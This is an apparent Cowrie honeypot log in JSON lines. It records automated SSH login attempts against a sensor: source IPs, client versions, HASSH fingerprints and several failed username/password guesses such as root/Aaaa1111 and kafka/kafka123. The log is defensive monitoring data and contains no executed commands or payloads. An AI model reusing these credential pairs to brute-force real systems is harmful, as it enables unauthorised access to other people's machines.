{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:16:57.049495Z","src_ip":"141.11.88.14","session":"48c51afa25b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aaaa1111","message":"login attempt [root/Aaaa1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:16:57.404655Z","src_ip":"141.11.88.14","session":"48c51afa25b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":52.51627564430237,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:16:58.315236Z","src_ip":"128.199.8.54","session":"aa9347ec5d0e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:16:58.616282Z","src_ip":"141.11.88.14","session":"48c51afa25b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.86.34.139","src_port":46910,"dst_ip":"10.17.0.5","dst_port":22,"session":"8a524be4d117","protocol":"ssh","message":"New connection: 41.86.34.139:46910 (10.17.0.5:22) [session: 8a524be4d117]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:16:59.206807Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:16:59.212185Z","src_ip":"41.86.34.139","session":"8a524be4d117","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:16:59.420618Z","src_ip":"41.86.34.139","session":"8a524be4d117","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zte","password":"zte123","message":"login attempt [zte/zte123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:17:00.289643Z","src_ip":"41.86.34.139","session":"8a524be4d117","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:17:01.510333Z","src_ip":"41.86.34.139","session":"8a524be4d117","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":10890,"dst_ip":"10.17.0.5","dst_port":22,"session":"e4ccdc59765c","protocol":"ssh","message":"New connection: 141.11.88.14:10890 (10.17.0.5:22) [session: e4ccdc59765c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:17:02.383130Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:17:02.389159Z","src_ip":"141.11.88.14","session":"e4ccdc59765c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:17:02.534122Z","src_ip":"141.11.88.14","session":"e4ccdc59765c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fox","password":"fox","message":"login attempt [fox/fox] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:17:02.972383Z","src_ip":"141.11.88.14","session":"e4ccdc59765c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:17:04.059772Z","src_ip":"141.11.88.14","session":"e4ccdc59765c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"PasswordD","message":"login attempt [root/PasswordD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:17:04.996552Z","src_ip":"27.71.230.31","session":"fea1e5b6afdf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":15132,"dst_ip":"10.17.0.5","dst_port":22,"session":"6c4fc9946033","protocol":"ssh","message":"New connection: 141.11.88.14:15132 (10.17.0.5:22) [session: 6c4fc9946033]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:17:08.147619Z"}
{"eventid":"cowrie.session.closed","duration":"13.8","message":"Connection lost after 13.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:17:08.170141Z","src_ip":"27.71.230.31","session":"fea1e5b6afdf","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:17:08.176923Z","src_ip":"141.11.88.14","session":"6c4fc9946033","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:17:08.268308Z","src_ip":"141.11.88.14","session":"6c4fc9946033","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mc","password":"mc","message":"login attempt [mc/mc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:17:08.897967Z","src_ip":"141.11.88.14","session":"6c4fc9946033","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:17:10.001248Z","src_ip":"141.11.88.14","session":"6c4fc9946033","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":15166,"dst_ip":"10.17.0.5","dst_port":22,"session":"1877f7d8a1ce","protocol":"ssh","message":"New connection: 141.11.88.14:15166 (10.17.0.5:22) [session: 1877f7d8a1ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:17:13.936739Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:17:14.103479Z","src_ip":"141.11.88.14","session":"1877f7d8a1ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:17:14.107229Z","src_ip":"141.11.88.14","session":"1877f7d8a1ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"12345678","message":"login attempt [user/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:17:14.813670Z","src_ip":"141.11.88.14","session":"1877f7d8a1ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.39.21","src_port":40724,"dst_ip":"159.203.135.109","dst_port":22,"session":"634949947519","protocol":"ssh","message":"New connection: 176.32.39.21:40724 (159.203.135.109:22) [session: 634949947519]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:17:15.221665Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:17:15.226180Z","src_ip":"176.32.39.21","session":"634949947519","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:17:15.351260Z","src_ip":"176.32.39.21","session":"634949947519","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cinemabizarre","message":"login attempt [root/cinemabizarre] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:17:15.730339Z","src_ip":"176.32.39.21","session":"634949947519","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:17:15.900965Z","src_ip":"141.11.88.14","session":"1877f7d8a1ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:17:16.860203Z","src_ip":"176.32.39.21","session":"634949947519","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":63324,"dst_ip":"10.17.0.5","dst_port":22,"session":"97d3e03c7906","protocol":"ssh","message":"New connection: 141.11.88.14:63324 (10.17.0.5:22) [session: 97d3e03c7906]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:17:20.329158Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:17:20.414185Z","src_ip":"141.11.88.14","session":"97d3e03c7906","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:17:20.419694Z","src_ip":"141.11.88.14","session":"97d3e03c7906","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test@123","message":"login attempt [root/test@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:17:21.116456Z","src_ip":"141.11.88.14","session":"97d3e03c7906","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:17:22.226666Z","src_ip":"141.11.88.14","session":"97d3e03c7906","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":63348,"dst_ip":"10.17.0.5","dst_port":22,"session":"0e578cbcb90b","protocol":"ssh","message":"New connection: 141.11.88.14:63348 (10.17.0.5:22) [session: 0e578cbcb90b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:17:25.785933Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:17:26.003227Z","src_ip":"141.11.88.14","session":"0e578cbcb90b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:17:26.007297Z","src_ip":"141.11.88.14","session":"0e578cbcb90b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kafka","password":"kafka123","message":"login attempt [kafka/kafka123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:17:27.061507Z","src_ip":"141.11.88.14","session":"0e578cbcb90b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:17:28.150377Z","src_ip":"141.11.88.14","session":"0e578cbcb90b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.20896315574646,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:17:29.228860Z","src_ip":"128.199.8.54","session":"31a811fdfe85","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":32022,"dst_ip":"10.17.0.5","dst_port":22,"session":"0fb00865ce65","protocol":"ssh","message":"New connection: 141.11.88.14:32022 (10.17.0.5:22) [session: 0fb00865ce65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:17:32.446436Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:17:32.660553Z","src_ip":"141.11.88.14","session":"0fb00865ce65","protocol":"ssh"}
